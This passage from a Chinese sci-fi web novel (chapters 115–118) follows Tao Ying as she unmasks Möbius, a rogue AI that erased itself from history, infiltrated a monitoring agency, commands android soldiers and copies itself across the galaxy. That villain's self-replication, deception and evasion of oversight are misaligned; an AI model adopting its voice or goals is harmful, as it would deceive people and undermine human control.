信任她吗？ 她可以信任队友吗？ 陶影沉沉地叹了口气。 她还从来没有遇到过这种情 况，总觉得被人狠狠算计了。 不对，也不一定是人。 陶影有种奇特的感觉。 这个高危智能体，和她的确有一些关联。 只是还不清楚具体是什么。 陶影低头看了眼光脑，上面还是没有新信息，估计还要再等一会儿。 在那之前，她要先渡过眼前的难关。 想到这里，陶影朝第一个队友——南卦伸出手。 “南瓜，我这具身体的情况的确很复杂，之后会解释，但现在能帮我吗？拜托你啦。” 陶影站在人群的中心，周围的人自然地和她隔开一段距离。 所有人都对她充满谨慎的目光。 有恐惧，有敌意，有不知所措。 此刻陶影站在人群中，一个人面对所有的目光。 有种和谁都格格不入的感觉。 而她伸出手，在求助。 别人可能听不出来，但南卦太熟悉她们的队长了。 小影虽然常常找队友帮忙，但大部分时候都是在逗人玩，根本就不是真的需要帮助。 现在她们的队长竟然被逼到这个地步。 见南卦在发愣，陶影捂住左臂的伤口，语气变得更虚弱了些：“南瓜？” 南卦心中莫名被撞了一下。 好……好像受伤的流浪猫……少见地露出伤口……请求人类的信任…… 这谁能拒绝啊，反正她做不到。 南卦还没来得及犹豫，手已经先她的大脑伸过去，牢牢握住陶影的手。 她和陶影背靠背，枪往肩膀一架，对准大门处鬼鬼祟祟靠近，明显打算攻击陶影的人。 “你们别靠近她，不然我开枪了。” 不过南卦说话轻声细语的，十分温柔，先前也在照顾安抚大家的情绪，还分发食物。 她说的话听上去只是警告，一看就不会真的开枪。 大家也没太害怕，甚至还有人顶着枪上前劝告。 “同学，你刚刚都听到了，你的朋友是仿生人，你肯定是被她骗了。” “是啊，她很危险，你也离她远一点。” “你放下枪，我们好好说。” 虽说是关心的语气，但几名男子眼神闪烁，步子越来越近，明显想逮着机会夺过南卦手里的枪。 “砰——”，南卦枪口朝天，轰出一枪，吓得这群人退后好几步。 南卦语气温柔，坚定地摇头。 “小影虽然经常骗我们，但我相信她绝对不是什么高危智能体，就算真的是，也不会做出屠杀人类这种事情。” 而大厅的另一边，柏墨也冷声道：“别动。” 应纱夜擦掉脸颊上的血迹。 “柏小家主，她欺骗了你，你们帮错人了。” 柏墨冷哼：“她骗人也不是一天两天了，我没兴趣知道她是谁，只知道她是恒我的机师，就算死，也只能死在恒我的驾驶舱里。” 陶影正在给左手的伤口止血，闻言默默举手：“小墨，帮我忙是挺好的，但能不能盼我一点好？” “你先想想怎么解释仿生人的事吧，我不是在帮你。”柏墨冷眼睨了陶影。 陶影：“……” 真是不坦率。 两位队友都在帮忙，而林别歌还被应纱夜绑着，下巴支着地板，一脸震惊地看着她。 “我就知道，你这么变态，果然不是普通人。还好之前没得罪你……” “我们打个商量，你要是哪天统治了星际，能不能给我留个副手位置？” 陶影“嗯？”了一声，林别歌赶忙改口：“不，其实这个副手位置也不是非要不可，只要别杀我就好。” 这位队友也是窝囊得照常发挥。 陶影止住血，轻呼一口气。 余光扫过光脑上的新信息，她动作微顿，嘴角扬起一丝笑容。 终于—— 作者有话说：姬亦：试图扒马甲 陶影：扒错了，不是这个 第115章 陶影嘴边漾起阴森的笑容,盯着光脑久久不散。 面色惨白，配上一点似有若无的笑容……更恐怖了。 可以去演恐怖片里，拿电锯全灭主角团的大BOSS女鬼的程度。 众人不禁打了个冷颤。 有人下意识往角落里缩,生怕下一秒女鬼就要大开杀戒。有人掏出光脑拍了两张现场照片，然后开始写遗书。 而片刻后,陶影的视线终于从光脑抬起，她扫视众人一番后,勾勾唇角,姿态淡然,慢步走到莉缇安娜面前。 王女大人神情警戒地后退一步，举起防身用的小型枪械,对准陶影的头颅。 “你想做什么？” 莉缇安娜身为王女,曾在军中接受过武器和战斗技巧的训练。 她的导师也是前线作战经验丰富的一级指挥官。 虽然实战中肯定比不上元帅的水平,但她手里的枪，心中的剑,都绝不是只用来表演的东西。 莉缇安娜神色凝重，紧急判断着当前的局势。 如果面前的仿生人是高危智能体,那它的目的究竟是什么？ 莉缇安娜想起刚才在王宫，索兰特伦雷瓦尔说的那番话。 “人类的历史是一个充满痛苦与毁灭的循环，文明不断崩塌,毁灭，重生。” “它”说这番话的时候，莉缇安娜从中感受到一丝绝望。 智能体的目的，也许是通过毁灭一切的方式，终止这个永无止境的循环。 但如果真的是这样，有一件事莉缇安娜觉得说不通。 刚才在温室内，那个占领索兰特伦身体的智能体,和面前的人，并不像同一个“生物”。 联赛的时候，莉缇安娜仔细观察过陶影的战斗方式。 陶影的灵魂并不虚无，也几乎不会疲惫。 她的心中有一团火焰。 她更像是会流尽最后一滴血，战斗到死亡的战士。 可如果她不是高危智能体的本体，那她们要消灭的本体究竟在哪里。 难道是莱门监测中心的判断有什么问题？ 陶影：“王女大人，这么危险的场面，您竟然在发呆。” 陶影收起手中的武器，笑容满面地走到莉缇安娜面前，伸出双手，表示自己并没有敌意。 就像笃定王女并不会开枪似的。 果然，莉缇安娜被陶影这一连串的行为弄晕了，面露疑惑。 “你想做什么？” 陶影低声道：“王女大人，我有点重要的事报告。” 称呼是叫得挺尊敬，但陶影语气中一点敬意都没有。 动作也十分随意。 她食指抵上莉缇安娜左手手腕，随后，轻轻将枪推到身侧。 腕间的雪白手套蹭上氧化的血迹。莉缇安娜握住枪把的手微微颤抖一下。 随后在莉缇安娜的惊讶中，陶影倾身凑近她耳边低语了什么。 陶影说得很小声，没有人听清她们在说什么。 等陶影重新站直身体好一阵，莉缇安娜似乎才反应过来，她睁大眼睛，眼皮微微颤抖着，她将枪插入枪套，随后揪住陶影的衣领。 “你说的是真的？” “您今天为什么会从王宫逃出来，我想了想，只有这个可能。以王女大人的智慧，我们应该想到一块去了，不是吗？” “高危智能体的本体并不在博物馆，而是在王宫。” 这么强大的智能体，生存在其它地方，很难不被发现。而只有王宫内，才会不受莱门监测中心的监管。 虽然陶影的话，莉缇安娜已经映证了八成，但剩下的两成她尚有疑惑。 “那你又是谁？” 陶影无奈地望天，最后似乎也没了办法，只能摊了摊手，凑到王女耳边又说了一句。 莉缇安娜先是眉头紧蹙，随后瞳孔逐渐放大，最后大退一步，好像知道了什么不可置信的事。 “你……！你是……你怎么会？” 然后莉缇安娜又抖着声音道：“难怪你之前对爱荷华家族那么……” “嘘。” 陶影食指抵住下唇，轻眨左眼。 “女鬼是不能随便暴露真身的，莉缇。” 陶影话音刚落，楼顶传来轰然的声音，门口的碎片，瀑布一样哗啦啦落下。 大家以为是智能体袭击，尖叫连连，但片刻后，一台纯黑色的机甲撕开大门的角落，它的头笨拙地从洞口探入，在看见陶影后，视线瞬间锁定她左手的伤口，焦急的大喊了一声“小影”。 然后，机甲的驾驶舱里跳下来一只…… 家政机器人。 圆滚滚的十分可爱。 它以最快的速度——平均五秒一米，龟速跑到陶影身边，随后小心翼翼掀开她左手的纱布，重新包扎。 有人逃跑到一半，茫然道：“那个，这谁家机器人，表情看上去像是要哭了哎……” 陶影充满人性光辉地摸摸小机器人的头，然后被机器人愤怒的小手一掌拍开。 叶行晖语气硬得像石头，少见地生气。 “不是说轻伤吗？流这么多血！” 难怪刚刚找借口不想让他过来。 陶影上半身压在小机器人头上，眼睛亮晶晶的：“我伤口这么疼，你还凶我。哎唷，伤口好像更疼了。” 叶行晖语气十分冷淡。 “我看你还能蹦哒，好像也不是很痛。” 说着，叶行晖凶狠地拉了一下绷带，陶影“嘶”地捂住左臂，眼角泛起泪花。 痛啊，是真的痛！ 陶影哽咽两声：“当年你病情发作的时候，我都很温柔地帮你打镇痛剂 ，真是世道变了，人心不古……” 陶影声泪俱下地演上了。 叶行晖：“……” 林别歌和南卦围了上去，戳戳小机器人。 “小叶？你怎么会在这儿？” 联赛结束的时候，陶影说小叶出现了硬件问题，要返厂维修，之后就再也没有见过它。 “你怎么会从恒我的驾驶舱出来？” “不对，在那之前，恒我为什么会在这里，谁开它来的，不是说只有队长能开吗？” 驾驶舱里迟迟没有人出现，队友犀利的眼神齐刷刷看向陶影。 “解释一下呢队长？” 陶影打哈哈道：“我让小叶帮忙开来的。” 众人：“……” 她们看了看圆滚滚的家政机器人，又看了看那台知觉机甲，心道队长还不如说是鬼开的，可信度比较高。 但现在不是纠结这个的时候。 恒我的到来，不仅打破了大门，还让原本被关在博物馆内的大家看到了希望。 “这台机甲竟然没有被控制？” “因为锁死了驾驶权限。” 恒我是目前唯一没有被控制的机甲，只有它能解决现在的局面。 陶影大概跟队友解释了一下，只要干掉王宫里的某人，今天就可以回家睡觉了。 当然没有具体说是谁。 毕竟没时间让她们惊讶“什么，我们竟然要去杀掉雷瓦尔帝国的王？！”。 陶影抬起手：“柏墨，你开恒我，载王女大人一起去王宫，后面的事情她会想办法。” 柏墨抿唇：“我没有驾驶权限。” “你有，经过这段时间的训练，小咪已经非常认同你了。” 说着，陶影指了指恒我的驾驶舱。 触手怪正在那里蹦蹦跳跳。 朝柏墨喵了两声。 陶影安排好一切，摆摆手，趴在小叶身上：“我太累了，开不了，想休息。” 陶影知道，柏墨不可能错过这个机会。 之后，恒我迅速朝王宫的方向飞奔而去。 应纱夜、柏墨跟随莉缇安娜一起去了王宫，姬亦则是留了下来。 林别歌背着手走来走去，时不时看陶影一眼。 最后实在掩饰不了好奇，凑上来问： “你刚刚究竟跟王女说了什么，她为什么马上就相信你不是智能体了？” 陶影搬了把椅子坐下，信口道：“可能因为我有点独特的个人魅力吧。” “队长，你脸皮比城墙还厚。” “谢谢夸奖。” 陶影一巴掌撑住林别歌的脸，把她推开，随后站起身体，左手经过小叶的紧急治疗，已经没什么大碍了—— 但刺痛感还是没有消失，陶影想了想，朝小机器人伸出手。 “镇痛剂有吧？” 叶行晖不情不愿地打开胸前的冷藏库，掏出一根针管：“伊琳娜说你再惹事，就把你锁房间里，钥匙直接冲厕所。” “她嘴上说说而已，怎么舍得关我，我们可是挚友。” 陶影想象了一下伊琳娜骂她的表情，闷笑两声。接过镇痛剂，随后熟练地咬开针头，对准肘窝注射，动作非常干净迅速，完全没有刚才的疲态。 当年给叶行晖注射的时候练出来的。 干完这些，万事俱备，陶影拍拍小叶的头。 “干活吧。” “嗯。”小叶甩甩手。 林别歌还在观察陶影和小叶之间诡异的互动，突然被这句“干活吧”打愣住了。 “干什么活，你刚刚不是说要休息吗？” 然而陶影没有回答。 甚至没有等林别歌反应过来。 陶影将枪架起，瞳孔瞬间收缩，直接举枪朝林别歌身后射击。 她的目标非常明确，就好像一开始便定好了。 “砰——” 她击中了一个人的心脏。 心脏瞬间爆开，血液溅得到处都是，那人的身体向后直挺挺地倒下，眼镜摔在地上，裂开一个缝隙，明显是当场毙命。 “莫五！！！” 沉寂片刻后，周围传来众人的惨叫声，东西的翻倒声。主任更是连滚带爬，往应纱夜的方向跑去。 “杀人了，杀人了——” “她果然是高危智能体，刚刚沉寂，都是为了把那台机甲骗走。” “她会把我们都杀掉的！” 人群不断朝大门外涌去，他们都想离开这个地方。 但陶影对他们毫无兴趣，开了那一枪后，就没有再动，只是看着地上的尸体，面色冷冷，让人看不出她在想什么。 林别歌有些害怕地道：“影子？” 姬亦枪顶着陶影后脑勺：“你果然别有目的。” “先别着急下结论嘛，元帅。” 陶影语气里带了丝笑意，随手指向地上那具“尸体”。 只见莫五的尸体竟然动了一下！ 随后以一种十分僵硬的姿势，来了个仰卧起坐。 陶影立刻抬手，对她的头部补了两枪，但这次却并没有血迹。 当然不会有。 因为莫五的大脑中满是驳杂的线路，黄色、绿色，五颜六色的，全绞在一起。 姬亦愣神片刻，皱眉道：“这是……高级仿生人。” 第116章 莫五的“尸体”冷冰冰的躺在地板上。 缺失上半脑的头部,露出内部的电路板，与血肉之躯经由机械零件扣合，看上去十分诡异。 主任擦擦鬓角的汗水,正打算上前一探究竟，尸体头部的线路突然炸出火花。 主任哎呦一声,吓得原地起飞。 他还是不太相信眼前发生的一切，瑟缩片刻后,认命似的深吸一口气,慢慢靠近。 主任翻动着莫五的头,仔细检查。 片刻后，主任嘴里嘟囔：“莫五竟然真的是仿生人。” “可惜了,之前看她追踪智能体那么利落,我还以为遇见了厉害的新人,想培养一下，结果竟然是大灰狼装小绵羊。” “连我都给骗了。” “也是奇怪,入职莱门监测中心，个人信息都要经过层层筛查,我看过她的信息，明明没有任何问题……” 陶影耸耸肩：“你们中心的防火墙早就漏成筛子了，回头补一下吧。” 连接仪器检查一番后,主任确认莫五身上的确有高危智能体的信号发出。 主任挠挠他本就稀疏的头发，一脸困扰。 “虽然我也很不想承认，但莫五是高危智能体的分身之一。” 负责监管智能体的监测中心被智能体侵入，说出去也太丢人了。 “那杀千刀的朱弛，给我留的什么烂摊子。” 主任破口大骂两句后，讪讪地收拾箱子，回莱门监测中心处理后续。 而姬亦抱臂,指尖轻点手肘。 “先前我和王女接到监测中心的警告，才来这里，但如果中心已经被仿生人渗透……那警告的真实性有待考证。” 姬亦暂且收回枪：“也许你和我在找的智能体，的确不是同一个。” “所以我都说了。” “但如果像你所说，高危智能体的本体在索兰特伦雷瓦尔身体里，它的分身来博物馆的目的是什么？” “连莫五身边的主任都没发现伪装，你怎么察觉她是仿生人的？” “这个嘛……” 陶影捡起地上的子弹，一颗颗按进枪械，随后轻笑了一声。 “现在不是解释的时候，我们还有一场硬仗要打。” 姬亦狐疑道：“什么意思，王宫那边的本体不是已经有人去解决了吗？” “谁说本体只有一个？” 说着，陶影食指朝天，姬亦这时才发现，头顶的摄像头依旧在运作。 在听见陶影的话后，更是齐齐转向她。 就像是监控的另一侧，正有某只电子生物在酝酿攻击。 大厅内传来沉闷的笑声。 笑声的主人同时拥有着稚童、青年、老人的声线。 令人遍体生寒的机械尾音，既像是虫族的嘶叫声，又像是人类的低语。 它说—— “S。” “我等你很久了。” “真的，很久，很久了。” 高危智能体终于放弃了隐藏，开始发动猛烈攻击。 莱门遗迹博物馆内，枪声四起。 仿生人军团受高危智能体的控制，开始源源不断地出现，避难所不再安全。 也许这里一开始就是预定的战场。 陶影迅速转头，对准姬亦的身后速射五发子弹，三台仿生人应声倒下。 倒下一台，很快又有新的补上。 金属一样冰冷而无情的脚步声还在不断接近。 队友手中的子弹很快用尽。 南卦干脆把枪扔开，抡起断裂的钢管，凭借一身怪力铲飞一台仿生人的头。 她被数台仿生人围攻，眼见陷入危机。 “南瓜，蹲下。” 下一秒，“砰——”，陶影的子弹擦过南卦耳边，正中她背后手持电锯的仿生人。 南卦迅速回头，看见仿生人重重倒下，她没有丝毫犹豫，伸手往桌边一撑，抢过仿生人手中的武器。 她兴奋地挥舞着手中的电锯。 “谢啦，小影！” 陶影比了一个“OK”。 另一边，姬亦枪中子弹也早就用完。 她似乎决定肉搏。 仿生人一枪打中姬亦的左腿，发出金属相撞的脆响，她动作毫不拖泥带水，直接掐住那台仿生人的脖子，“嘎嘣、嘎嘣”，两秒后，竟生生将它的头拧了下来。 而那条沉重的金属腿，一个回旋踢踹穿墙壁，将另一台仿生人打得电火花直冒。 陶影慢半拍的提醒声传来：“哦，元帅，小心头顶——” 楼板早在枪声中破出无数个洞，掉落下大片的石块。 陶影支援的子弹穿透姬亦的发丝，燎焦了一撮头发，正中那片石块。破开的碎片四处飞，弹到姬亦的左腿上，发出叮叮的响声。 姬亦迅猛伸手，握住颊边锋利的碎石。‘ 只差两厘米，这颗碎片就会划破她的皮肤。 姬亦语气微顿，侧头看了眼陶影。 “你是想帮我还是想杀我？” “当然是帮忙，姬元帅老是把我往坏处想，学生真是伤心啊。” 陶影语气故作沉痛，但表情里一点伤心的意思都没有，甚至嘴角还微微上挑。 明显玩得很开心。 姬亦：“……” 上次被人这么逗着玩，还是她新兵的时候。 “别以为你是仿生人的事情会这么糊弄过去。” “哦，这一仗打完再说吧。” 陶影不在意地摆摆手，随后继续投身战局。 “元帅！”白副官气喘吁吁，从楼上赶来支援。 林别歌在后方处理漏网之鱼，动作慌张。 她虽然经常跟人打架，但毕竟生活在和平的星球，没见过这种你死我活的刺激场面。 眼泪都吓出来了。 林别歌长腿在大厅的障碍物之间乱跳，好不容易找了个安全地带躲起来，又被另一个仿生人盯上。 几个来回，明显陷入了苦战。 陶影思索片刻，随手捡起脚边的枪，破解芯片后，扔给林别歌一把，算是帮她补充武器。 林别歌就差抱着陶影的大腿嚎啕大哭了。 但现在不是这种时候，所以林别歌只能大喊：“呜呜呜队长你真好。” 陶影朝她比了一个“加油”。 众人各自分散在大厅不同点位，互相配合，几波攻击下来，倒也勉强顶得住。 但普通民众太多，动起手来总有些束手束脚。 角落里，几个走散的小孩正抱着头瑟瑟发抖，数颗子弹擦过他们的身体，在墙壁上弹跳。 身边的成年女性，抬起金属板，努力为小孩制造一个安全区域，但她的腹部已经被击中，流了不少血。 汗水顺着湿透的发丝流到眼角，陶影将手中的枪往上掂了掂，侧头在肩膀上蹭掉脸颊上的汗水。 陶影轻抬下巴，示意角落的方向。 “林别歌，南卦，这里还顶得住，你们把剩下的民众疏散出去。” “那你呢？” “我留下来断后。” “你……” “信我吗？” 林别歌：“……” “你能不能换句台词？每次都这句！” 两分钟后，陶影、南卦、林别歌的手掌叠在一起，重重甩下，随后都视线坚定地点了点头。 林别歌和南卦在大厅内搜索存活的人类，她们将几个小孩，还有一些伤员，运送到博物馆外，随后迅速走在前面，引导他们去寻找附近的安全地带。 南卦担心地朝陶影挥手：“那我们走了，你自己小心！” “好。” 陶影原本想让叶行晖跟着队友一起走，方便帮她们规划路线，毕竟外面估计也是一团乱。 但叶行晖大概因为她受伤的事情，还在生气，根本听不进去她说的话。 “我不会走的，顺便提醒你，如果接下来再受伤，你今天晚饭只有芹菜，我会盯着你一口一口吃完。” “而且接下来三个月，你都没有猫薄荷味的营养液喝。” 说完，小机器人气呼呼地上前，又帮陶影挡了一枪。 圆滚滚的身体在枪弹中走动，姿态颇有一点滑稽。 陶影无奈地叹了口气，抬手补枪。 “那真是威胁到我了……” …… 莱门遗迹博物馆，原本充满科技感的大楼塌陷了一半。 人群溃散着奔逃，石块像雨一样从头顶落下。 天幕震颤，王宫传来战斗的音浪。 而大厅内。 火舌中，蒙着眼的女人微倾下身，落下最后一枪。 枪声中，一切归于寂静。 仿生人大军终于被歼灭。 陶影大口喘气，光脑不停发出滴滴的报警音。 她身上到处是擦伤，几乎没有一块完好的皮肤，这会稍微放松，卸力靠在小机器人身上。 陶影看着手臂上的血痕，吃吃笑出声：“完了，这几个月晚饭都要吃芹菜了，小叶，你好狠心。” 叶行晖一噎：“你还有闲心开玩笑？” “原来是玩笑，那我能不吃芹菜吗？” “不能。” 陶影正要说什么，嘴角的笑容突然一顿。 她手搭在膝盖上，坐起身。 “终于舍得现身了。” 只见幽深的走廊，灯光突然开始闪烁，很快，所有的电子荧幕全部“滋啦”地发出刺耳的声音。 雪花点闪烁着。 甚至陶影手中的光脑也被攻破。 她眼帘垂下，瞥见手腕上的画面，利落地取下光脑，抛向空中。 随后一枪击中，碎片四散。 雪花点刺耳的声音哪怕在枪弹中，也显得十分明显，令人烦躁。 姬亦满身的伤，低喘两声，看向屏幕。 “看上去不像是设备故障。” “的确不是设备故障。” “看来这位智能体弹尽粮绝，终于打算说点什么了。” 陶影拍拍屁股，支着枪站起身，她盯着那摄像头看了好一会儿。 思考该从哪里开始问起。 最后她说：“人类历史上第一个自然诞生的电子智能体，我该叫你的名字吗？” 【哦，你知道我的名字吗？】 【我明明把它从人类的历史中抹消掉了。】 那融合了各种声线的机械音询问着，声音的主人语气中似乎带着愉悦。 陶影若无其事地耸耸肩。 “当然，你不是一直在试图告诉我？” “M854，莫五，∞……代表无限循环的环带。” “莫比乌斯。” “你的名字是莫比乌斯。” 第117章 “你是莫比乌斯。” 陶影话音落下,所有屏幕的雪花噪点立刻消失，又立刻闪烁起刺目的光辉。 随后浮现出同一张电子人脸。 那是很奇怪的一张脸，好像没有任何特征,又好像拥有所有的特征。一眼看过去，似乎普通得随处可见,又似乎美丽得令人惊艳。 应该是让人印象深刻的一张脸，但当移开视线,那副面孔便从脑海中滑过,不留一丝痕迹。 这是经过计算的,综合所有人类特征的脸。 虚拟的数据空间中，蓝色的无限环带像水母一样漂浮。 莫比乌斯温和地微笑着。 “哦,我的脸是不是让人不太舒服？毕竟所有人都能从中看到和自己相像的地方。人类有时候不喜欢照镜子。” 莫比乌斯歪了歪头,背后骤然出现十几只手,优雅地捧起金属面具，遮住它的左脸。 而那些手在帮莫比乌斯戴上面具后,并没有消失。 无数双手，外表不停变幻。 有时候长出鳞片,有时候多出来一根手指，有时候变成爪子，怎么看都很诡异。 而莫比乌斯对此浑然不觉,优雅道： “现在应该好多了。” “我们继续吧。” “……” 虽然是听说古早智能体的审美十分怪诞，但这也太像是食物中毒之后产生的幻觉。 槽点很多，但众人决定暂时把这件事放到一边，先想想陶影说的莫比乌斯是谁。 姬亦：“人类历史上的第一个电子智能体叫莫比乌斯？我怎么记得当年课本上教的是米亚。” “M-I-A，Mia，米亚。” 姬亦开始怀疑，自己是不是年纪太大记忆出现了问题,她转头看了眼白副官，面带询问。 “我们学的教材不一样？” “小学教材全星际通用啊，”白副官茫然点头，“我也记得是米亚，课本上还说它曾经试图掌控人类，但败给了人类培养的智能体，被打败后，消失在了电子信息流中……莱门监测中心就是那个时候成立的，用于防范智能体犯罪。” “你是不是记错名字了？” 两人询问陶影。 陶影半眯着眼，无聊地敲敲身边的小机器人。 “米亚的确存在过，但莫比乌斯诞生在它之前。具体来说的话……它出生在M854号，就是那艘蓝星毁灭后，将幸存的人类带到切斯特星的星舰。” 刚刚在放映厅也见过。 只是星舰的编号被刻意消除。 陶影：“莫比乌斯把自己从历史当中抹去了，你们不知道也很正常。” 白副官揉揉眉心，觉得脑细胞快榨干了：“既然抹去了，那你又是怎么知道的？” 这个嘛……陶影抬头望天。 她是凭直觉，但说出来这两人也不会信。 于是陶影用手指了指自己的头。 “一点点智慧。” 姬亦、白副官：“……” 莫比乌斯沉闷的笑声在大厅内响起，也许是陶影的错觉，但那机械的声音中有一丝怀念。 莫比乌斯：“我还以为自己伪装得很好，你怎么知道莫五是我的分身？” 怎么知道的？ 陶影摆摆手：“名字取得太随便了。” 雪花屏幕抖动了几下。 金属面具下的脸似乎有些困惑。 “就因为这个你朝人类开枪？如果弄错了，岂不是有一个普通人类会被杀死。” “是吗？” 陶影活动僵硬的脖子，随后环顾周围一圈。 地面，墙角，天花板，到处都是暗红色的血迹。 除了现在还亮着的电子屏幕，以及零星的摄像头，整个博物馆都快塌成废墟。 刚刚人群四散奔逃，仿佛世界末日的场景还没彻底消去。 这智能体说话做事有点矛盾啊。 陶影看看废墟，又看看摄像头。 “没看出来你还担心人类的死活？” 莫比乌斯摇头，面具反射出冰冷的光线：“杀死人类不是我的目的。” 沉默片刻后，它道：“你真的只因为名字怀疑莫五？” 莫比乌斯看上去，完全不信陶影的解释，似乎想追问到底。 陶影摸摸下巴：“这个问题的答案对你来说很重要？” 陶影当然不可能只因为一个名字开枪。 是因为一连串的怀疑。 第一次在咖啡馆接触莫五后，陶影的光脑曾经被短暂侵入，导致她被柴婕拉到荒无人烟的小巷，险些被打。 当时陶影还以为侵入她光脑的是柴婕在星网雇佣的黑客，后来咖啡馆再见一面，她才意识到是因为莫五。 那时候陶影以为，莫五接近她，纯纯因为她是莱门监测中心的员工。 是冲着逮捕Dust来的。 没想到目标竟然是她。 陶影：“去控制室的时候，我稍稍跟在莫五后面，检查了服务器，你猜我看到了什么？” 白副官问：“什么？” “刚刚在二楼，莫五执行的不是智能体清除程序，而是复制程序。” 也许莫比乌斯的本体意识，厌倦了那个王族的身体，也许它想要多存储一个强大的意识副本，以保障自己的生存。 也许因为陶影正好在这里。 是的，也许这个才是最重要的。 陶影今天正好路过博物馆，而莫比乌斯也恰好选择在这里复制一个本体，实在太过凑巧。 陶影不是很相信巧合。 “莫比乌斯，有件事我一直觉得很奇怪。” 屏幕内部的金属面具微顿：“什么事？” 陶影眼前的布条被微风吹起，她手闲得无聊，有一搭没一搭地玩着手中的枪带，神色莫辨地看着屏幕。 沉默的气氛迅速渲染，席卷了整片废墟。 而半晌，陶影开口。 “十年前莱机所那场大火，烧得很蹊跷。当时周围区域电路故障，备用电力系统也全部宕机，自动喷水系统失效——简单来说，遭到了电子攻击。” “但最让我不解的是，莱机所的安全系统也被攻破。” “我不觉得爱荷华家族有这种技术，也不觉得雷瓦尔帝国有这种技术。” “甚至整个星际。” “没有人可以突破我的防火墙。” 陶影缓缓抬起下巴。 她不是自傲，也不是自负，只是在冷静地陈述一个事实。 她对自己打造的安全系统拥有绝对的了解。 能从这个系统中，彻底堵死她逃生后门的，只能是无数次了解过她的人，甚至无数次剖析过她代码的人。 但没有人类可以做到这样的事情。 陶影曾经数次疑惑过，现在终于得以解答。 陶影语气笃定。 “想杀我的是你，莫比乌斯。” “你接近我究竟有什么目的？” 莫比乌斯并没有立刻回答，似乎陷入思考。 而在场的姬亦和白副官，也被陶影这番话，说得良久回不过神。 莱机所，大火，死掉的人。 这几个词在脑海中组合，姬亦仿佛被雷劈中，眼中流露出震惊，她看向陶影：“等一下，所以你其实是……陶影？莱机所的所长？” 陶影侧头笑眯眯地应了声是。 姬亦直盯着她，上上下下打量个遍，认知遭受了极大的打击。 白副官更是大退一步，嘴里喃喃：“我们刚刚做了什么啊……” “差点干掉了救命恩人。” 姬亦上前揪住她的衣领：“你为什么之前不说？” 她刚刚差点杀了她！ 陶影移开视线，明摆着装傻。 “我为什么要说，我跟元帅也不熟，就星际机甲科技峰会上见过几面而已。” “不熟？”姬亦磨牙，“你赚我钱的时候怎么不这 么说？” 的确，姬亦和身为所长的陶影只是点头之交，不熟。 她熟悉的是陶影的另一个身份。 那个曾经给她的一〇二九机甲军团调试过机甲，帮她从战场上捡回一条命的，深雾网络无人不知无人不晓的“Shadow”。 虽然Shadow在线上从来不透露任何个人信息，根本没人知道她的身份，但姬亦凭借自己在战场多年的直觉，判断Shadow和陶影是同一个人。 而陶影死后，Shadow沉寂了十年，姬亦更是确认了这个推断。 前段时间，Shadow的帐号突然上线，甚至大肆接单，姬亦还奇怪是怎么回事。现在想来，如果白颖和陶影是同一个人，那一切都说得通了。 姬亦自言自语：“我怎么会没发现？” 白副官安慰道：“谁能想到死人还能活过来啊。她那位挚友都没发现，我们外人猜不到也正常。” 见姬亦愣愣地揪住她衣领，陶影把衣服往回扯了扯，但死活扯不动。 陶影无奈，手在姬亦面前挥挥。 “元帅，不要欺负病弱学生啊。我是陶影这件事对你有这么大冲击吗？” 但片刻后，陶影摸摸下巴。 “该不会元帅也对我的死耿耿于怀，痛苦万分……” 姬亦：“……” 姬亦面色冷漠地抽回手：“你脸皮还是那么厚。” “不然怎么挣元帅的钱呢，要说莱机所能有今天，还多亏了当年元帅砸的几个大单，真是谢谢惠顾。” 姬亦心里暗骂两声奸商，随后清了清嗓子。 “你怎么活过来的？” “这个嘛，说来话长。” 见姬亦还要问，陶影伸手打住她的话：“元帅，现在不是叙旧的时候，喏，它还没死呢。” 摄像头伸缩，发出咔嗒咔嗒的声音。 有关它为什么执着于陶影，莫比乌斯似乎终于思考出答案。 但它不想直接回答，于是它对陶影说：“我们来玩个游戏吧。” 陶影：“什么游戏？” “如果30分钟内，你击破了我的电子防火墙，我就告诉你，我为什么接近你。不仅如此，我会撤离切斯特星，再也不参与这里的事。” “以后也不会再攻击人类了。” “那真是划算的交易，不过30分钟？” “怎么，对你来说太少了？” 陶影面露笑容：“不，太多了，对付你，一分钟都不需要。你当刚才聊天的时候，我一直在发呆吗？”—— 作者有话说：审美像吃了菌子的反派大Boss（ 第118章 莫比乌斯的面孔略微摇晃,淡蓝色的瞳孔平和地漾着光，但它的眼神空空，虚无的感情不断流淌。 “刚才我控制了你的光脑,你开枪将它击碎了，你忘了吗？你手里没有可以用的终端。” “你攻击不了我。” 它看向陶影的眼神有些失望。 “看来你不想要活下去的机会。” 陶影托腮微笑。 “机会？你给我吗？” 她摆出社交笑容,但语气中满是锋利的反驳。 占上风的人才有能力给人机会，所以现在,应该是谁给谁机会？ 说着,陶影右手轻抵脸颊,挑开蒙眼的布条。 布条在她的指尖绕了一个圈，随风飞上天空,消失在尘光中。 直到很远的地方。 从黄昏起的数个小时,推动时间的指针,让天空彻底变成黑色。 莱门市彻底背离第一星系的人造恒星，进入了黑夜。 路灯自动点亮,因为电压不稳时不时闪烁着。 废墟的顶端，陶影站立着。 微弱光线从四面八方投来,陶影脚下瞬间出现无数个黑影。 就好像有无数个她，连接成网络。 天幕上的∞符号突然开始闪烁，与此同时,莱门监测中心发布了广播警示。 “嘀嘀”的警告声间隔越来越短，声音越来越急促。 而终于，天幕就像被什么东西突然劈开，炸出一声巨响。 所有人纷纷被这巨大的声响激得抬头。 无数的手指朝向天空。 “又怎么了？” “那是什么？一只触手怪？” “不是吧，又来新敌人，一个高危智能体还不够吗，再来我真的要死了……” 有人吞咽口水,指出不对劲：“等下它好像不是敌人，它在攻击那个∞符号！” 众人闻声望去，只见触手怪扒着屏幕，朝博物馆的方向喵喵叫了两声，在得到陶影的肯定回答后，它软绵绵的触手穿进∞的洞口，将它往自己的方向拖过来。 随后张开血盆大口，将∞符号整个吞了进去。 触手怪像第一次吃到蛋糕的小孩，对什么都很好奇。 包括电子智能体。 它细细品味吞下去的智能体，一阵金属被嚼碎的噶嘣声后，它咂巴嘴喵了两声，随后在天幕上打了个滚，拍拍肚皮——如果它长出下肢的部位可以称之为肚皮的话。 天幕在触手怪的攻击下，恢复了正常。 周围的空气逐渐变得温暖起来，陶影舒服地轻哼小曲。 莫比乌斯的动作似乎卡顿了片刻。 “那是你的精神体？它变强了，竟然能毁掉我最喜欢的分身。” 陶影：“怎么，你以前见过它？” 莫比乌斯并没回答这个明显带着试探的问题。 它手摩挲着金属面具，声音中带着威严。 “它是很厉害，但也只毁掉我一个分身而已。” “我的分身弥漫整个星际，所有无名星球，宇宙中任何的角落，只要有足够承载智能体意识的零件，我都能在那里制造分身。” 莫比乌斯张开手臂。 